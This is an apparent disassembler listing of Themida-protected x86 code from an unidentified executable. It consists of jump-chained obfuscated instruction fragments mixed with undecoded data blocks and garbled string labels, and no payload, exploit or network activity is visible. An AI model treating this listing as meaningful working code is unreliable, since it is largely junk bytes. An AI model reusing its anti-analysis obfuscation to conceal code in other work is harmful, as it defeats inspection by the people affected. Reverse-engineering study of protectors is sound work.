; ---------------------------------------------------------------------------
		dd 5C240C87h, 31241C33h, 73E9241Ch, 6600004Bh, 8124048Bh
		dd 2C4h, 8700E900h, 0C2810000h,	3CB94BE9h, 0FF5336E9h
		dd 0CF005AFFh, 0E9240C8Bh, 93E0h, 0E987048Dh, 5B2Eh, 1C3CF381h
		dd 0C38150C0h, 7BDA0DDCh, 25E6F381h, 0D901B2C5h, 7EDCE95Bh
		dd 3489FFFFh, 242C8B24h, 4C481h, 348B0000h, 4C48124h, 8B000000h
		dd 0C483243Ch, 0EB015E04h, 83242C8Bh, 0B85004C4h, 2, 4BC6EB81h
		dd 0C3814373h, 246E4BC4h, 0EB81C329h, 246E4BC4h, 0FFB879E9h
		dd 24248BFFh, 8104C483h, 4C2h, 2B95100h, 81000000h, 35440EEAh
		dd 0C1EEE92Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C242:				; CODE XREF: Themida_:0055FDFCj
		push	dword ptr [edi+24h]
		sub	esp, 4
		jmp	loc_55234E
; ---------------------------------------------------------------------------
		dd 0C44BF57h, 0F7816F24h, 63761594h, 0FFADB0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55C261:				; CODE XREF: Themida_:00551E98j
		xchg	eax, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	5E56h
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 300B5A42h
		jmp	loc_56018B
; ---------------------------------------------------------------------------
		dd 0B9240C89h, 35743A18h, 24048151h, 5CA8528Eh,	81241C8Bh
		dd 4C4h, 8EEB8100h, 8B5CA852h, 0E955240Ch, 0FFFFD41Ch
; ---------------------------------------------------------------------------

loc_55C2AC:				; CODE XREF: Themida_:0055B982j
		push	ebp
		push	eax
		jmp	loc_55A026
; ---------------------------------------------------------------------------
		db 89h
		dd 0FDBE2434h, 6828FA47h, 2690h, 0BA241489h, 75A657F3h
		dd 0FF763DE9h, 0F5E953FFh, 53FFFF7Fh, 4EC81h, 34890000h
		dd 643ABE24h, 0F38904D8h, 0DB43E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C2EA:				; CODE XREF: Themida_:00566B53j
		pop	ebx
		add	ebp, ebx
		pop	ebx
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_55C7E1
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 81E28952h, 4C2h, 4C28100h, 87000000h, 575C2414h, 0FB89F789h
		dd 0C8E95E5Fh
		db 51h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C323:				; CODE XREF: Themida_:00562B91j
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		jmp	loc_564B77
; ---------------------------------------------------------------------------

loc_55C32F:				; CODE XREF: Themida_:00553905j
		mov	[esp], ecx
		mov	ecx, 42C8256Bh
		mov	esi, 0BD37DA94h
		jmp	loc_55F239
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 81h
		dd 8B0B3865h, 0C4812414h, 4, 76F468h, 241C8900h, 0FFE31DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55C35D:				; CODE XREF: Themida_:0055BEDCj
		mov	esp, [esp]
		mov	[esp], ebx
		mov	bh, 2Fh
		push	eax
		jmp	loc_55B3EF
; ---------------------------------------------------------------------------
		db 81h
		dd 0C20568C6h, 50C68136h, 9C62133h, 0FF505EF0h,	35582404h
		dd 7ADBFE04h, 34FFC301h, 0C4815824h, 4,	8702C383h, 248B241Ch
		dd 0FC33024h, 34FFC0B6h, 2434FF87h, 0E924048Bh,	1D3h
; ---------------------------------------------------------------------------

loc_55C3AC:				; CODE XREF: Themida_:00553869j
		sub	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_5581DF
; ---------------------------------------------------------------------------

loc_55C3BD:				; CODE XREF: Themida_:00562FE7j
		pop	ebp
		jmp	loc_55AB55
; ---------------------------------------------------------------------------
		db 1
		dd 4EC81C1h, 89000000h,	0B3BF243Ch, 8152BB6Fh, 0CF67D5E9h
		dd 81F9296Bh, 0CF67D5C1h, 57585F6Bh, 2BFh, 8BF90100h, 0AE9243Ch
		dd 0E9000025h, 0FFFF50F3h, 13C2E95Dh, 1C310000h, 241C3324h
		dd 0F624248Bh, 0F14FE9F9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C40E:				; CODE XREF: Themida_:00562F23j
		add	esi, edx
		jmp	loc_5606DA
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 1Ch
		dd 2C48124h, 66000000h,	6624048Fh, 6619B768h, 0E9241C89h
		dd 0FFFFCBC4h, 0A7F7E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C436:				; CODE XREF: Themida_:0056087Aj
		xor	edi, [esp]
		mov	esp, [esp]
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_5514EB
; ---------------------------------------------------------------------------

loc_55C448:				; CODE XREF: Themida_:0056312Bj
		sub	ecx, 2CCAC16Ah
		push	ecx
		pop	ebp
		pop	ecx
		push	edx
		jmp	loc_55A2CE
; ---------------------------------------------------------------------------

loc_55C457:				; CODE XREF: Themida_:005629A0j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_55E002
; ---------------------------------------------------------------------------
		dw 0E831h
		db 8Bh,	2Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		jmp	loc_556BFE
; ---------------------------------------------------------------------------
		dd 6DD7BB53h, 0F7E956FFh
		db 66h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55C483:				; CODE XREF: Themida_:00558BE4j
		xor	ecx, 73237517h
		shr	ecx, 8
		and	ecx, 16364C9h
		push	ebp
		push	eax
		push	4C623E6h
		pop	eax
		shl	eax, 6
		not	eax
		shr	eax, 2
		sub	eax, 8F0AF9BEh
		jmp	loc_557599
; ---------------------------------------------------------------------------
		dd 0E6388FBBh, 8EEB8167h, 8167E638h, 701CDAEFh,	81DF2926h
		dd 701CDAC7h, 0DFF75B26h, 690B850h, 0F2E90FBEh,	5A000069h
		dd 815D5455h, 4C5h, 4C58300h, 5C242C87h, 0E9FFC480h, 9396h
		dd 34FF5450h, 0C4835824h, 7C896804h, 1C890000h,	46824h
		dd 0E95B0000h, 518h, 0E9240C33h, 0FFFF6401h, 0EC81E389h
		dd 4, 0BA241489h, 6A9D78C6h, 5841EA81h,	0F2817813h, 0F28A2081h
		dd 148BD301h, 0E0895024h, 405h,	4C08300h, 0FFC3B9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55C541:				; CODE XREF: Themida_:00563534j
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 6EC60C19h
		pop	ebp
		add	ebx, edx
		push	eax
		mov	eax, 0
		add	eax, ebx
		mov	ecx, [eax]
		mov	eax, [esp]
		jmp	loc_5650B6
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 20CD5E43h, 0FFF291E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55C56D:				; CODE XREF: Themida_:0055BC69j
		push	6BE1h
		mov	[esp], ecx
		mov	ecx, 6EA16751h
		jmp	loc_56327A
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0FF62E900h, 11BEFFFFh,	0C1382034h, 0D6F707EEh
		dd 81D6F74Eh, 3832BBC6h, 32F68117h, 31426F22h, 0C262E9F0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C5AA:				; CODE XREF: Themida_:005518CBj
		add	esi, edi
		jmp	loc_5649F4
; ---------------------------------------------------------------------------

loc_55C5B1:				; CODE XREF: Themida_:005525F3j
		mov	edx, esp
		push	esi
		mov	esi, 4
		add	edx, esi
		jmp	loc_558CE1
; ---------------------------------------------------------------------------
		dd 4C481h, 0E9560000h, 15CFh, 0C581E589h, 4, 4BA52h, 0ED810000h
		dd 305504AEh, 0C581D501h, 305504AEh, 242C875Ah,	4EF9E95Ch
		dd 0E957FFFFh, 2E26h, 601A68h, 243C8900h, 9B2E9h
		db 0
; ---------------------------------------------------------------------------

loc_55C605:				; CODE XREF: Themida_:0055A4E2j
		dec	edx
		not	edx
		jmp	loc_556C41
; ---------------------------------------------------------------------------
		db 5Fh,	51h, 0FFh
		dd 8B042474h, 0C483240Ch, 0BF5AE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C61E:				; CODE XREF: Themida_:00558DADj
		add	ebx, 0F30E100Eh
		jmp	loc_55922E
; ---------------------------------------------------------------------------
aNsI		db '╜Ищ┴',0             ; DATA XREF: Themida_:00551480o
		dw 0C000h
		dd 0D9F608E1h, 806DE980h, 0CF88CBE9h, 34F06859h, 14890000h
		dd 26B05024h, 0F658C288h, 0AF0AE9D2h, 1C8BFFFFh, 9B46E924h
		dd 0C3810000h, 9AB44FC1h, 0E95BDA09h, 8E6Ch, 6084E95Eh
		dd 3C8BFFFFh, 4C48124h,	68000000h, 774Ch, 0FF241C89h, 8B042474h
		dd 0C483241Ch, 24048F04h, 6470E9h
		db 0
; ---------------------------------------------------------------------------

loc_55C691:				; CODE XREF: Themida_:005568BEj
		add	dh, 86h
		jmp	loc_55A50F
; ---------------------------------------------------------------------------
aSD_1		db 'SЁD╤в(ч[',0
		dw 5BFEh
		dd 80B0E680h, 0B66800F6h, 89000035h, 32B42404h,	48BE630h
		dd 970BE924h, 75B5FFFFh, 2CE9EA88h
		db 8Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C6C7:				; CODE XREF: Themida_:00555EB6j
		pop	ecx
		pop	dword ptr [esp]
		pop	ebp
		jmp	loc_565CA1
; ---------------------------------------------------------------------------
aBiLtHny	db '│К:LT*hny',0
		align 4
		dd 0E9240489h, 21DDh, 0CFFEF986h, 0E180F986h, 2AB753ABh
		dd 285BF930h, 0EF46E9CBh, 0C581FFFFh, 8D63AC5Eh, 875DE901h
		dd 248B240Ch, 0BB39E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C70E:				; CODE XREF: Themida_:00554A32j
		xor	edi, [esp]
		jmp	loc_565B36
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 4C381h, 0E9530000h, 0FFFFBCAFh, 721E6205h, 7B0A0514h
		dd 2C8B6C24h, 4D7A6824h, 4890000h, 20E95424h, 50FFFFDDh
		dd 4B8h, 0E9C30100h, 0A58h, 0B60FC330h,	8734FFC0h, 0FFAAC8E9h
		dd 55E95EFFh, 8B000023h, 0E9552404h, 0FFFFF21Bh, 555EF001h
		dd 2BDh, 1A620500h, 0E80140A7h,	0A71A622Dh, 242C8B40h
		dd 0E904C483h, 0FFFF96A0h
; ---------------------------------------------------------------------------

loc_55C78C:				; CODE XREF: Themida_:00562D31j
		sub	ebp, edi
		pop	edi
		jmp	loc_560C25
; ---------------------------------------------------------------------------

loc_55C794:				; CODE XREF: Themida_:0055E779j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5642F4
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 618CE904h, 0EB81FFFFh, 18514DB2h, 6824048Bh,	2F06h
		dd 54241489h, 8A75E95Ah, 0C890000h, 689CB124h, 7B4Fh, 50240C89h
		dd 0E0D005B0h, 0D0F62224h, 0FFC408E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55C7E1:				; CODE XREF: Themida_:0055C2FCj
		pop	esp
		xor	ebx, eax
		push	dword ptr [eax]
		jmp	loc_5514EB
; ---------------------------------------------------------------------------
		db 81h
		dd 9B06B9CDh, 30ED8154h, 454EE24Ah, 9D30ED81h, 0EF091A16h
		dd 5E7C15Dh, 7751E94Fh,	0EB83FFFFh, 5575E901h, 5550FFFFh
		dd 1654E9h, 0F1E95800h,	81FFFFAEh, 7B58E4C6h, 5EF1013Ch
		dd 1BF8E981h, 0E9816F7Ah, 6E66DD65h, 5D59C829h,	8904EC83h
		dd 4BF243Ch, 29000000h,	33E95FF8h, 6800005Fh, 584Fh, 0FFB06CE9h
		dd 2434FFFFh, 9625E9h, 81CE0100h, 0C64917EEh, 0E6E95918h
		db 5Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C86B:				; CODE XREF: Themida_:00554D72j
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_562EAF
; ---------------------------------------------------------------------------
dword_55C87C	dd 28B6664h, 428368h, 242C8900h, 5652E589h, 0FF5F6DE9h
					; DATA XREF: Themida_:00551264o
		dd 4D5CBEFFh, 76E91EA4h, 8300006Ah, 148904ECh, 0C9B4E924h
		dd 405FFFFh, 0E9000000h, 0F6Bh,	0BF57h,	0C7810000h, 693D50AAh
		dd 0EF81D729h, 693D50AAh, 0FFA550E9h, 61CA80FFh, 8001EA80h
		dd 5E9D2F2h, 87FFFF69h,	515C2404h, 8904EC83h, 0B8BB241Ch
		dd 531F6E6Fh, 0FFF154E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55C8ED:				; CODE XREF: Themida_:005605ECj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_562A9B
; ---------------------------------------------------------------------------

loc_55C905:				; CODE XREF: Themida_:005521B7j
		push	4587h
		mov	[esp], esi
		push	edi
		mov	edi, esp
		jmp	loc_5577B2
; ---------------------------------------------------------------------------

loc_55C915:				; CODE XREF: Themida_:00551C7Ej
		sub	edi, 1
		jmp	loc_5526AF
; ---------------------------------------------------------------------------
		db 83h,	0C3h, 4
		dd 5C241C87h, 8104C483h, 4C2h, 24143300h, 6346E9h
		db 0
; ---------------------------------------------------------------------------

loc_55C935:				; CODE XREF: Themida_:00563471j
		add	edx, esi
		pop	esi
		sub	ebp, 1FE23766h
		sub	ebp, edx
		add	ebp, 1FE23766h
		pop	edx
		jmp	loc_5576AC
; ---------------------------------------------------------------------------
		dd 0D75F181h, 0CD894D0Bh, 0CBB85059h, 355BFE0Dh, 5EB53F71h
		dd 62DE0D1h, 0E9F7D4EEh, 19ABh,	8904EC83h, 8851241Ch, 59CB88C1h
		dd 8B5BDA88h, 0C4832404h, 0D2E95004h
		db 81h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C987:				; CODE XREF: Themida_:0055939Dj
		xor	eax, edx
		jmp	loc_56146A
; ---------------------------------------------------------------------------
		dw 0F129h
		dd 0B8505B5Eh, 36B27E07h, 48BC131h, 4B07E924h
		db 2 dup(0)
word_55C9A2	dw 248Bh		; DATA XREF: Themida_:00551464o
		dd 4B41E924h, 1489FFFFh, 88DB224h, 52665AD5h, 0E9534BB2h
		dd 0FFFF924Ah, 258BEE81h, 0EE813EB0h, 64B35714h, 0E92434FFh
		dd 0FFFFD192h
dword_55C9D0	dd 240C8B66h, 4B9968h, 242C8900h, 239268h, 4EC8300h, 24048F54h
					; DATA XREF: Themida_:0055136Co
		dd 4BF57h, 7C010000h, 0E95F0424h, 3F0Ch, 8B243487h, 1E92424h
		dd 81000069h, 3C01E7EEh, 5A56E952h, 4BFFFFFh, 81000000h
		dd 4D21A0EAh, 0E9FA2951h, 0FFFF5BD8h, 0E95BD801h, 0FFFFE7DEh
		dd 2C481h, 52660000h, 12BD68h, 0E9CDE900h, 0CD89FFFFh
		dd 243C8B59h, 8B04C483h, 0EC812434h, 4,	89241C89h, 0FCEDE9E3h
		dd 8ABDFFFFh, 0E92CA366h, 4219h, 0BF243C89h, 215F61BEh
		dd 93E7E9h, 0C4835900h,	7DFF2D04h, 0E9503DFBh, 0FFFF6957h
dword_55CA7C	dd 0E92434FFh, 308Fh	; DATA XREF: Themida_:00551418o
dword_55CA84	dd 9D1C77FFh, 11665866h, 0E99C2404h, 0FFFF4A57h, 5BD88859h
					; DATA XREF: Themida_:0055130Co
		dd 6858C228h, 3813h, 0A243E9h, 8BEA0100h, 0C483242Ch, 24148704h
		dd 0FFF5BBE9h, 81D387FFh, 0FFBB3CF3h, 8BD9012Bh, 0C481241Ch
		dd 4, 0E959CE01h, 64B9h, 31241C33h, 0CEE9241Ch
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55CADB:				; CODE XREF: Themida_:0055761Dj
		pop	ebx
		jmp	loc_558EC8
; ---------------------------------------------------------------------------
		db 5Eh,	50h, 0B8h
		dd 49207303h, 48BC231h,	4C48124h, 1000000h, 2434FFD6h
		dd 5D54555Ah, 4C581h, 0C5810000h, 4, 2474FF55h,	48F5D04h
		dd 24248B24h, 57A68h, 605E900h,	0E9570000h, 0FFFFE966h
		dd 6A3BED81h, 0C5810238h, 58EF79B8h, 0DFC5814Dh, 1AE7806h
		dd 148B5DE9h, 6ABEE924h, 0C4830000h, 4EC8104h, 89000000h
		dd 83552434h, 1C8904ECh, 0C4CFE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55CB5A:				; CODE XREF: Themida_:00554739j
		jmp	loc_5514EB
; ---------------------------------------------------------------------------

loc_55CB5F:				; CODE XREF: Themida_:00557B89j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		jmp	loc_56597C
; ---------------------------------------------------------------------------
		dw 1C89h
		dd offset loc_40B324
		dd 992AE9D8h, 6855FFFFh, 6BBEh,	0E9240C89h, 8EECh, 2434FF5Ah
		dd 69F1E9h, 0E9C33000h,	21D2h
; ---------------------------------------------------------------------------

loc_55CBAC:				; CODE XREF: Themida_:0055FA68j
		neg	edi
		push	4F48h
		mov	[esp], edi
		not	dword ptr [esp]
		pop	edi
		shr	edi, 3
		push	edx
		jmp	loc_565CC2
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812414h, 4, 2DD8F75Eh, 88228A5Bh,	2E58C181h, 2EE92606h
		dd 5E000055h, 4A770A2Dh, 0E9F80135h, 75D7h, 81242C8Bh
		dd 4C4h, 0E9C23100h, 0FFFF8D4Bh, 360816BAh, 1F28104h, 55FC428h
		dd 155C1222h, 7E8CBF57h, 0F3E955EAh, 0FEFFFFE2h, 0C0F680CEh
		dd 6FE9F328h, 5C000056h, 3A71E9h, 0C7E95B00h, 100008Bh
		dd 0BF575AD5h, 4, 0E95FFD29h, 0FFFF63F3h, 0E9240C8Bh, 0FFFFA762h
		dd 8B243487h, 0A30F2424h, 0E99C2404h, 0FFFFC67Bh
; ---------------------------------------------------------------------------

loc_55CC58:				; CODE XREF: Themida_:0055A820j
		xor	edx, 4C6F1B86h
		add	esi, edx
		pop	edx
		add	esi, eax
		sub	esi, 68067C6Dh
		pop	eax
		mov	edx, esi
		mov	esi, [esp]
		jmp	loc_5588E4
; ---------------------------------------------------------------------------
		dd 33240C31h, 78E9240Ch, 89FFFFC2h, 4C181E1h, 50000000h
		dd 0FF7F4FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55CC8D:				; CODE XREF: Themida_:00565C11j
		shl	ebp, 7
		push	eax
		jmp	loc_55F2FA
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 473F2B52h, 6346E281h, 0C2814A61h, 0B162CEE3h, 315AD129h
		dd 2434FFC8h, 0FFCD56E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55CCB5:				; CODE XREF: Themida_:00556AB4j
		pop	esp
		jmp	loc_55909D
; ---------------------------------------------------------------------------

loc_55CCBB:				; CODE XREF: Themida_:00566C3Aj
		xchg	ebx, [esp]
		pop	esp
		push	edx
		mov	dl, ah
		push	eax
		mov	al, dl
		mov	ch, al
		jmp	loc_560F8F
; ---------------------------------------------------------------------------
		dd 0BE56E289h, 39E40C80h, 4602EEC1h, 0FCE3BD55h, 0EE01F186h
		dd 5D2434FFh, 5704C483h, 99183DBFh, 8E7C140h, 1021EF81h
		dd 0FA017330h, 83243C8Bh, 0F20104C4h, 33FFBE56h, 0DEF7102Fh
		dd 0FFA21FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55CD0D:				; CODE XREF: Themida_:0055DD9Fj
		sub	ecx, 54DF18D1h
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_55F029
; ---------------------------------------------------------------------------

loc_55CD33:				; CODE XREF: Themida_:0056339Dj
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_55984E
; ---------------------------------------------------------------------------
		dd 4246C81h, 4C1F465Bh,	4247C01h, 465BB850h, 44014C1Fh
		dd 8B580824h, 0C481243Ch, 4, 0E924048Fh, 0FFFFA826h
; ---------------------------------------------------------------------------

loc_55CD68:				; CODE XREF: Themida_:00558662j
		sub	eax, 732D7AD3h
		jmp	loc_55F05F
; ---------------------------------------------------------------------------

loc_55CD72:				; CODE XREF: Themida_:00556722j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		push	114h
		mov	[esp], edx
		push	195Bh
		mov	[esp], esi
		mov	esi, 132C6D64h
		push	ecx
		mov	ecx, 132C6D63h
		jmp	loc_564AB3
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0FBCF81D7h, 81124B4Bh, 0BDF25EFh, 8BF921CEh,	4BE9243Ch
		db 52h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55CDBF:				; CODE XREF: Themida_:005661CCj
		xor	eax, [esp]
		jmp	loc_565665
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0DBF602EBh, 0ADF380h, 1C8B66D8h, 3943E924h, 0C5810000h
		dd 751932A8h, 0DC3DBB53h, 0DD31BCBBh, 0E9E8295Bh, 0FFFF6CEBh
dword_55CDF0	dd 2EC81ACh, 0E9000000h, 16ADh,	0C1EE80h, 24148BF0h, 117EE955h
					; DATA XREF: Themida_:0055125Co
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55CE0A:				; CODE XREF: Themida_:00555231j
		pop	esi
		push	ecx
		jmp	loc_5602F8
; ---------------------------------------------------------------------------
		db 87h,	2Ch, 24h
		dd 3024248Bh, 0E99C2404h, 0FFFF46CBh
; ---------------------------------------------------------------------------

loc_55CE20:				; CODE XREF: Themida_:00564AA1j
		dec	eax
		jmp	loc_5633FC
; ---------------------------------------------------------------------------
		dw 0E588h
		dd 0E959EE88h, 0FFFFCBFCh, 4C281h, 14870000h, 0D44CE924h
		dd 0EF81FFFFh, 0F7F0E495h, 73FDE9h, 242C8900h, 0C5815D54h
		dd 4, 0FF5AA0E9h, 0BB535FFFh, 795B02BEh, 7E67EB81h, 0C3815275h
		dd 223386h, 5B9CE9h, 0D5F76600h, 66DDF766h, 7F8DED81h
		dd 0FF96D8E9h, 906866FFh, 1C896626h, 0E9CEB724h, 76FAh
		dd 741EBA52h, 0F28105E7h, 129F72F3h, 515AD089h,	5E91E9h
		db 0
byte_55CEA5	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0055135Co
		dd 4EC8124h, 0E9000000h, 5D1Dh,	79226D68h, 0F181595Ah
		dd 75C31407h, 68E1E949h, 2BBB0000h, 1730A2Dh, 5B04245Ch
		dd 0FF73BBE9h, 5EF231FFh, 2C4DBB53h, 0DA2938FBh, 0E9D3895Bh
		dd 372Fh
; ---------------------------------------------------------------------------

loc_55CEE8:				; CODE XREF: Themida_:00566D8Dj
		push	ebx
		mov	ebx, 0DB3C6BCAh
		sub	edi, ebx
		mov	ebx, [esp]
		jmp	loc_5643CB
; ---------------------------------------------------------------------------
		dd 51E78957h, 0A673EAB9h, 0C1814172h, 8D598C19h, 9BE1E9h
		dd 4C48300h, 34FFF801h,	6C9FE924h, 0C7810000h, 2, 8B243C87h
		dd 8B662424h, 68512404h, 8E8h, 4EC81h, 8F540000h, 4812404h
		dd 424h, 24048F00h, 5C97E9h
		db 0
byte_55CF49	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005512ECo
		dd 0E6895624h, 4C681h, 41E90000h, 0FEFFFFD2h, 1C180C1h
		dd 0FFF77FE9h, 243487FFh, 2404895Ch, 6C8AEC88h,	64880524h
		dd 2EE90524h, 8BFFFFE6h, 8950241Ch, 405E0h, 0C0830000h
		dd 24048704h, 56EC805Ch, 7CCAE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55CF96:				; CODE XREF: Themida_:0055B0BDj
		pop	edx
		push	ebp
		jmp	loc_55EE10
; ---------------------------------------------------------------------------
		db 9, 0C6h, 0E9h
		dd 5C5h, 24048F5Ch, 2434FF5Ch, 18B6859h, 5AE90000h, 5E000061h
		dd 7E1DE9h
		db 0
byte_55CFBD	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00551398o
		dd 0F8F6824h, 0C7E90000h, 81FFFFE8h, 2ECh, 4896600h, 34816624h
		dd 0E955E124h, 1558h
; ---------------------------------------------------------------------------

loc_55CFE0:				; CODE XREF: Themida_:0055DEFAj
		push	esi
		mov	esi, 23207002h
		jmp	loc_55A66A
; ---------------------------------------------------------------------------
		db 83h
		dd 3C8704C7h, 0E9525C24h, 0FFFF84A0h, 4EC81h, 0FE90000h
		dd 0F700005Ch, 7F47E9D7h, 0C0BFFFFFh, 0E9541B7Ah, 5CA8h
		dd 335AD001h, 4312404h,	24043324h, 0E924248Bh, 0FFFF8650h
		dd 50E9E189h, 81FFFFD5h, 9E3CB4EBh, 0B5EB8148h,	8B6EE41Eh
		dd 0B7E9243Ch, 8B000096h, 0C0092424h, 6502840Fh, 9C680000h
		dd 89000003h, 0E9512434h, 0FFFFC3D9h, 408E0C0h,	0EBEE8021h
		dd 87BEE9h, 2FE95800h, 5FFFFF5Bh, 5B2434FFh, 2904C483h
		dd 4EC81D8h, 89000000h,	8BB9240Ch, 5780E1Eh, 136B52CEh
		dd 0CE2DC801h, 0E9136B52h, 9B65h, 97747D2Dh, 571EE908h
		dd 0F5810000h, 7A88705Fh, 0C3DCD81h, 0F5812558h, 1AE23AA6h
		dd 815DE989h, 0B161E0F1h, 59CE3138h, 538DC681h,	0C68129BAh
		dd 9C7E99CFh, 68F78957h, 3496h,	89243489h, 317C68FEh, 0FFE90000h
		dd 81FFFFF0h, 4EBh, 241C8700h, 48F545Ch, 24048124h, 4
		dd 83242C8Bh, 515004C4h, 4B9h, 0A9C6800h, 0C890000h, 24348124h
		dd 7DC5648Eh, 0FF7CF3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55D119:				; CODE XREF: Themida_:005562F8j
		push	6A7Ah
		jmp	loc_55F689
; ---------------------------------------------------------------------------
		db 89h
		dd 74FF2434h, 8F5E0424h, 0E95C2404h, 26D7h, 4C181h, 0C1830000h
		dd 57AF6804h, 0C890000h, 2474FF24h, 19E95904h, 8100007Ch
		dd 4ECh, 24048900h, 42474FFh, 24048F58h, 23EDE9h
		db 0
; ---------------------------------------------------------------------------

loc_55D165:				; CODE XREF: Themida_:00557ACAj
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_557724
; ---------------------------------------------------------------------------

loc_55D172:				; CODE XREF: Themida_:0055779Bj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	eax
		push	esp
		pop	eax
		push	ecx
		jmp	loc_55278E
; ---------------------------------------------------------------------------

loc_55D185:				; CODE XREF: Themida_:005581C2j
		add	esp, 4
		add	edi, 7E886C1Fh
		sub	esp, 4
		mov	[esp], ebp
		push	ecx
		jmp	loc_559F3D
; ---------------------------------------------------------------------------
		dw 3487h
		dd 14895C24h, 0E95A5424h, 0FFFF78C1h, 4C38358h,	31241C33h
		dd 1CE9241Ch
		db 85h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D1B7:				; CODE XREF: Themida_:00557B64j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5540AC
; ---------------------------------------------------------------------------
		db 8Bh
		dd 12E92424h, 83FFFF53h, 48904ECh, 441A6824h, 14890000h
		dd 4C41BA24h, 0E9B853EAh, 3123DF27h, 6FE95AD0h,	5C000089h
		dd 0FF624FE9h, 0C4835EFFh, 57DEF704h, 0BA52E789h, 4, 0A1E9D701h
		dd 0FFFFFF79h, 0E95F2434h, 9437h, 0FCB5F181h, 0CE8974EFh
		dd 0BBB95159h, 816B495Ah, 351F09C6h, 81CE0123h,	351F09EEh
		dd 0CE815923h, 7ED30FF5h, 0ABE9D6F7h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D24F:				; CODE XREF: Themida_:0055F301j
		pop	eax
		neg	ebp
		xor	ebp, 4025DDh
		push	edi
		push	eax
		jmp	loc_562D0D
; ---------------------------------------------------------------------------

loc_55D25F:				; CODE XREF: Themida_:00556C96j
		add	edi, 498E19D3h
		push	ebx
		mov	ebx, 50B24FFFh
		jmp	loc_554B28
; ---------------------------------------------------------------------------

loc_55D270:				; CODE XREF: Themida_:005655E5j
		pop	edx
		push	ecx
		mov	ecx, 16E30E03h
		push	eax
		mov	eax, 55FA097Dh
		add	eax, 6C9A1C35h
		jmp	loc_565B4A
; ---------------------------------------------------------------------------
		db 0BFh
		dd 0C07160Eh, 63FBE781h, 0F7812B68h, 6E36311Bh,	0F0E9D7F7h
		db 80h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D29F:				; CODE XREF: Themida_:005587D3j
		pop	ecx
		pop	edx
		sub	ebx, 0DA1B21EEh
		jmp	$+5
		add	edx, ebx
